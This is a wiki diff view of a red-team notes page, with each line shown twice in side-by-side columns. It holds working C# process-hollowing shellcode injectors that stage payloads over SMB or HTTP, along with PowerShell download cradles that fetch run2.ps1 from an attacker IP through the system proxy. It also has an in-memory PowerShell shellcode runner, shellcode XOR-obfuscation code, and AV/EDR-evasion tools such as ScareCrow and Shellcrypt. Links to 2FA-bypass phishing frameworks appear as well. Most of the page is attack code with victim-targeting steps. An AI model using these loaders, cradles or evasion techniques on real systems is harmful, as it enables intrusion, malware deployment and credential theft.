IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
Console.WriteLine("Allocating memory"); | Console.WriteLine("Allocating memory"); | ||
| Line 7,103: | Line 5,344: | ||
Console.WriteLine("Created remote thread"); | Console.WriteLine("Created remote thread"); | ||
Console.WriteLine("Resuming process..."); | Console.WriteLine("Resuming process..."); | ||
foreach (ProcessThread thread in newproc.Threads) | foreach (ProcessThread thread in newproc.Threads) | ||
{ | { | ||
| Line 7,115: | Line 5,355: | ||
} | } | ||
Console.WriteLine("Resumed!"); | Console.WriteLine("Resumed!"); | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Staged - Download payload through CIFS/SMB === | === Staged - Download payload through CIFS/SMB === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 7,131: | Line 5,366: | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Diagnostics; | using System.Diagnostics; | ||
namespace ProcessHollowingExample | namespace ProcessHollowingExample | ||
{ | { | ||
| Line 7,141: | Line 5,375: | ||
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | ||
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | ||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | ||
private static extern int ZwQueryInformationProcess(IntPtr hProcess, | private static extern int ZwQueryInformationProcess(IntPtr hProcess, | ||
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, | int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, | ||
uint ProcInfoLen, ref uint retlen); | uint ProcInfoLen, ref uint retlen); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | ||
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); | [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | ||
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); | byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
private static extern uint ResumeThread(IntPtr hThread); | private static extern uint ResumeThread(IntPtr hThread); | ||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] | ||
struct STARTUPINFO | struct STARTUPINFO | ||
| Line 7,180: | Line 5,409: | ||
public IntPtr hStdError; | public IntPtr hStdError; | ||
} | } | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
internal struct PROCESS_INFORMATION | internal struct PROCESS_INFORMATION | ||
| Line 7,189: | Line 5,417: | ||
public int dwThreadId; | public int dwThreadId; | ||
} | } | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
internal struct PROCESS_BASIC_INFORMATION | internal struct PROCESS_BASIC_INFORMATION | ||
| Line 7,200: | Line 5,427: | ||
public IntPtr MoreReserved; | public IntPtr MoreReserved; | ||
} | } | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 7,208: | Line 5,434: | ||
IntPtr processHandle, threadHandle; | IntPtr processHandle, threadHandle; | ||
uint threadId; | uint threadId; | ||
// Create a suspended process | // Create a suspended process | ||
STARTUPINFO si = new STARTUPINFO(); | STARTUPINFO si = new STARTUPINFO(); | ||
| Line 7,214: | Line 5,439: | ||
bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero, | bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero, | ||
false, 0x4, IntPtr.Zero, null, ref si, out pi); | false, 0x4, IntPtr.Zero, null, ref si, out pi); | ||
if (!success) | if (!success) | ||
{ | { | ||
| Line 7,220: | Line 5,444: | ||
return; | return; | ||
} | } | ||
// Query process information to get the PEB address | // Query process information to get the PEB address | ||
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); | PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); | ||
| Line 7,226: | Line 5,449: | ||
IntPtr hProcess = pi.hProcess; | IntPtr hProcess = pi.hProcess; | ||
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); | ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); | ||
// Calculate the address of the EntryPoint | // Calculate the address of the EntryPoint | ||
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); | IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); | ||
| Line 7,233: | Line 5,455: | ||
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); | ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); | ||
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); | IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); | ||
// Read the PE header to locate the EntryPoint | // Read the PE header to locate the EntryPoint | ||
byte[] peHeader = new byte[0x200]; | byte[] peHeader = new byte[0x200]; | ||
| Line 7,241: | Line 5,462: | ||
uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr); | uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr); | ||
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); | IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); | ||
// Read the shellcode | // Read the shellcode | ||
byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath); | byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath); | ||
// Overwrite the EntryPoint with the shellcode | // Overwrite the EntryPoint with the shellcode | ||
IntPtr nWritten = IntPtr.Zero; | IntPtr nWritten = IntPtr.Zero; | ||
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten); | WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten); | ||
// Resume the suspended thread | // Resume the suspended thread | ||
ResumeThread(pi.hThread); | ResumeThread(pi.hThread); | ||
Console.WriteLine("Shellcode injected and executed successfully."); | Console.WriteLine("Shellcode injected and executed successfully."); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Staged - Download payload over HTTP/HTTPS === | === Staged - Download payload over HTTP/HTTPS === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 7,269: | Line 5,483: | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Threading.Tasks; | using System.Threading.Tasks; | ||
namespace ProcessHollowingExample | namespace ProcessHollowingExample | ||
{ | { | ||
| Line 7,279: | Line 5,492: | ||
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, | ||
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); | ||
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] | ||
private static extern int ZwQueryInformationProcess(IntPtr hProcess, | private static extern int ZwQueryInformationProcess(IntPtr hProcess, | ||
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, | int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, | ||
uint ProcInfoLen, ref uint retlen); | uint ProcInfoLen, ref uint retlen); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | ||
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); | [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, | ||
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); | byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
private static extern uint ResumeThread(IntPtr hThread); | private static extern uint ResumeThread(IntPtr hThread); | ||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] | ||
struct STARTUPINFO | struct STARTUPINFO | ||
| Line 7,318: | Line 5,526: | ||
public IntPtr hStdError; | public IntPtr hStdError; | ||
} | } | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
internal struct PROCESS_INFORMATION | internal struct PROCESS_INFORMATION | ||
| Line 7,327: | Line 5,534: | ||
public int dwThreadId; | public int dwThreadId; | ||
} | } | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
internal struct PROCESS_BASIC_INFORMATION | internal struct PROCESS_BASIC_INFORMATION | ||
| Line 7,338: | Line 5,544: | ||
public IntPtr MoreReserved; | public IntPtr MoreReserved; | ||
} | } | ||
static async Task Main(string[] args) | static async Task Main(string[] args) | ||
{ | { | ||
| Line 7,346: | Line 5,551: | ||
IntPtr processHandle, threadHandle; | IntPtr processHandle, threadHandle; | ||
uint threadId; | uint threadId; | ||
// Create a suspended process | // Create a suspended process | ||
STARTUPINFO si = new STARTUPINFO(); | STARTUPINFO si = new STARTUPINFO(); | ||
| Line 7,352: | Line 5,556: | ||
bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero, | bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero, | ||
false, 0x4, IntPtr.Zero, null, ref si, out pi); | false, 0x4, IntPtr.Zero, null, ref si, out pi); | ||
if (!success) | if (!success) | ||
{ | { | ||
| Line 7,358: | Line 5,561: | ||
return; | return; | ||
} | } | ||
// Query process information to get the PEB address | // Query process information to get the PEB address | ||
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); | PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); | ||
| Line 7,364: | Line 5,566: | ||
IntPtr hProcess = pi.hProcess; | IntPtr hProcess = pi.hProcess; | ||
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); | ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp); | ||
// Calculate the address of the EntryPoint | // Calculate the address of the EntryPoint | ||
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); | IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10); | ||
| Line 7,371: | Line 5,572: | ||
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); | ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); | ||
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); | IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); | ||
// Read the PE header to locate the EntryPoint | // Read the PE header to locate the EntryPoint | ||
byte[] peHeader = new byte[0x200]; | byte[] peHeader = new byte[0x200]; | ||
| Line 7,379: | Line 5,579: | ||
uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr); | uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr); | ||
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); | IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); | ||
// Read the shellcode from the specified URL | // Read the shellcode from the specified URL | ||
byte[] shellcode; | byte[] shellcode; | ||
| Line 7,394: | Line 5,593: | ||
} | } | ||
} | } | ||
// Overwrite the EntryPoint with the downloaded shellcode | // Overwrite the EntryPoint with the downloaded shellcode | ||
IntPtr nWritten = IntPtr.Zero; | IntPtr nWritten = IntPtr.Zero; | ||
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten); | WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten); | ||
// Resume the suspended thread | // Resume the suspended thread | ||
ResumeThread(pi.hThread); | ResumeThread(pi.hThread); | ||
Console.WriteLine("Shellcode injected and executed successfully."); | Console.WriteLine("Shellcode injected and executed successfully."); | ||
} | } | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-08-image-5.png|thumb]] | [[File:2023-08-image-5.png|thumb]] | ||
== Phishing == | == Phishing == | ||
=== Bypass 2-Fa === | === Bypass 2-Fa === | ||
[https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube] | [https://www.youtube.com/watch?v=FwGeBW6OurM&t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube] | ||
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication] | [https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication] | ||
== Proxy-aware PowerShell Cradle == | == Proxy-aware PowerShell Cradle == | ||
A proxy is an intermediary server that sits between a user's computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations. | A proxy is an intermediary server that sits between a user's computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations. | ||
'''192.168.168.11 - Victim ''' | '''192.168.168.11 - Victim ''' | ||
'''192.168.168.12 - Proxy server''' | '''192.168.168.12 - Proxy server''' | ||
=== Setting up proxy === | === Setting up proxy === | ||
[[File:2023-09-image.png|thumb]] | [[File:2023-09-image.png|thumb]] | ||
=== List of proxy-aware PowerShell cradles === | === List of proxy-aware PowerShell cradles === | ||
* '''Net.WebClient (as you've seen)''' | * '''Net.WebClient (as you've seen)''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 7,453: | Line 5,634: | ||
$wc.DownloadString('http://example.com/script.ps1') | $wc.DownloadString('http://example.com/script.ps1') | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The <code>Net.WebClient</code> class respects the system proxy settings by default. | The <code>Net.WebClient</code> class respects the system proxy settings by default. | ||
* '''Invoke-WebRequest and Invoke-RestMethod''' | * '''Invoke-WebRequest and Invoke-RestMethod''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
Invoke-WebRequest -Uri 'http://example.com/script.ps1' | Invoke-WebRequest -Uri 'http://example.com/script.ps1' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
or | or | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
Invoke-RestMethod -Uri 'http://example.com/script.ps1' | Invoke-RestMethod -Uri 'http://example.com/script.ps1' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the <code>-Proxy</code> parameter. | These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the <code>-Proxy</code> parameter. | ||
* '''System.Net.HttpWebRequest''' | * '''System.Net.HttpWebRequest''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 7,486: | Line 5,659: | ||
$result = $sr.ReadToEnd() | $result = $sr.ReadToEnd() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Like <code>Net.WebClient</code>, the <code>HttpWebRequest</code> class also respects system proxy settings by default. Its behavior can be altered by changing the <code>.Proxy</code> property of the request object. | Like <code>Net.WebClient</code>, the <code>HttpWebRequest</code> class also respects system proxy settings by default. Its behavior can be altered by changing the <code>.Proxy</code> property of the request object. | ||
* '''BitsTransfer''' | * '''BitsTransfer''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 7,498: | Line 5,668: | ||
Start-BitsTransfer -Source 'http://example.com/script.ps1' -Destination 'path\to\save' | Start-BitsTransfer -Source 'http://example.com/script.ps1' -Destination 'path\to\save' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The <code>BitsTransfer</code> module is used to transfer files, and it is proxy-aware. It respects system proxy settings. | The <code>BitsTransfer</code> module is used to transfer files, and it is proxy-aware. It respects system proxy settings. | ||
=== SYSTEM Proxy with Net.WebClient === | === SYSTEM Proxy with Net.WebClient === | ||
'''Create a Proxy Configuration for SYSTEM''' | '''Create a Proxy Configuration for SYSTEM''' | ||
* Proxy settings per user are stored in the registry at: | * Proxy settings per user are stored in the registry at: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* When accessing as SYSTEM, <code>HKEY_CURRENT_USER</code> does not exist. Use <code>HKEY_USERS</code> instead. | * When accessing as SYSTEM, <code>HKEY_CURRENT_USER</code> does not exist. Use <code>HKEY_USERS</code> instead. | ||
'''PowerShell to Setup Proxy for SYSTEM Integrity''' | '''PowerShell to Setup Proxy for SYSTEM Integrity''' | ||
* Map HKEY_USERS registry hive: | * Map HKEY_USERS registry hive: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null | New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Find the correct user hive based on SID: | * Find the correct user hive based on SID: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 7,543: | Line 5,702: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Fetch the proxy settings: | * Fetch the proxy settings: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer | $proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Create and assign the proxy object: | * Create and assign the proxy object: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 7,561: | Line 5,716: | ||
$wc.DownloadString("http://192.168.119.120/run2.ps1") | $wc.DownloadString("http://192.168.119.120/run2.ps1") | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Full Code for SYSTEM Proxy-Aware Download Cradle === | === Full Code for SYSTEM Proxy-Aware Download Cradle === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 7,580: | Line 5,733: | ||
$wc.DownloadString("http://192.168.119.120/run2.ps1") | $wc.DownloadString("http://192.168.119.120/run2.ps1") | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-09-image-1.png|thumb]] | [[File:2023-09-image-1.png|thumb]] | ||
'''Note''' | '''Note''' | ||
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping <code>HKEY_USERS</code> will persist across reruns. | * Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping <code>HKEY_USERS</code> will persist across reruns. | ||
== Reflection Load (In-memory) == | == Reflection Load (In-memory) == | ||
=== Powershell === | === Powershell === | ||
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim. | Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim. | ||
This code below is same as <code>Simple Shellcode Runner Powershell Ver 2</code>. | This code below is same as <code>Simple Shellcode Runner Powershell Ver 2</code>. | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 7,618: | Line 5,763: | ||
@($moduleName)), $functionName)) | @($moduleName)), $functionName)) | ||
} | } | ||
function getDelegateType { | function getDelegateType { | ||
Param ( | Param ( | ||
| Line 7,639: | Line 5,783: | ||
return $type.CreateType() | return $type.CreateType() | ||
} | } | ||
$lpMem = | $lpMem = | ||
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( | ||
| Line 7,645: | Line 5,788: | ||
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])) | (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])) | ||
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) | ).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) | ||
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0... | [Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0... | ||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) | ||
$hThread = | $hThread = | ||
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( | ||
| Line 7,654: | Line 5,795: | ||
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])) | (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])) | ||
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) | ).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) | ||
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( | ||
(LookupFunc kernel32.dll WaitForSingleObject), | (LookupFunc kernel32.dll WaitForSingleObject), | ||
(getDelegateType @([IntPtr], [Int32]) ([Int])) | (getDelegateType @([IntPtr], [Int32]) ([Int])) | ||
).Invoke($hThread, 0xFFFFFFFF) | ).Invoke($hThread, 0xFFFFFFFF) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Shellcode obfuscation script == | == Shellcode obfuscation script == | ||
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all. | There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all. | ||
=== Espio === | === Espio === | ||
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)] | [https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)] | ||
<syntaxhighlight lang="python"> | <syntaxhighlight lang="python"> | ||
| Line 7,689: | Line 5,823: | ||
obfuscated_payload = obfuscated_payload_bytes.decode("UTF-8") | obfuscated_payload = obfuscated_payload_bytes.decode("UTF-8") | ||
return "".join(obfuscated_payload) | return "".join(obfuscated_payload) | ||
def generate_key(): | def generate_key(): | ||
| Line 7,695: | Line 5,828: | ||
key = "".join(random.choices(letters, k=random.randint(100, 500))) | key = "".join(random.choices(letters, k=random.randint(100, 500))) | ||
return key | return key | ||
# In main.cpp the decryption routine | # In main.cpp the decryption routine | ||
int keyIndex = 0; | int keyIndex = 0; | ||
| Line 7,703: | Line 5,835: | ||
payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize]; | payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize]; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Scarecrow === | === Scarecrow === | ||
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)] | [https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)] | ||
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned. | ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned. | ||
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)] | [https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)] | ||
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques. | We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques. | ||
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader. | ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com | /opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com | ||
# Check -h for detailed info. | # Check -h for detailed info. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== ShellCrypt === | === ShellCrypt === | ||
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)] | [https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)] | ||
== Encryption Methods == | == Encryption Methods == | ||
* AES (128-bit CBC) | * AES (128-bit CBC) | ||
* ChaCha20 | * ChaCha20 | ||
* RC4 | * RC4 | ||
* Salsa20 | * Salsa20 | ||
* XOR | * XOR | ||
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats == | == [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats == | ||
* C | * C | ||
* C# | * C# | ||
* Nim | * Nim | ||
* Golang | * Golang | ||
* Python | * Python | ||
* Powershell | * Powershell | ||
* Visual Basic for Applications (VBA) | * Visual Basic for Applications (VBA) | ||
* Visual Basic Script (VBS) | * Visual Basic Script (VBS) | ||
* Rust | * Rust | ||
* Raw | * Raw | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp | python3 shellcrypt.py -i shellcode.bin -e xor -f csharp | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Shellcode injection techniques == | == Shellcode injection techniques == | ||
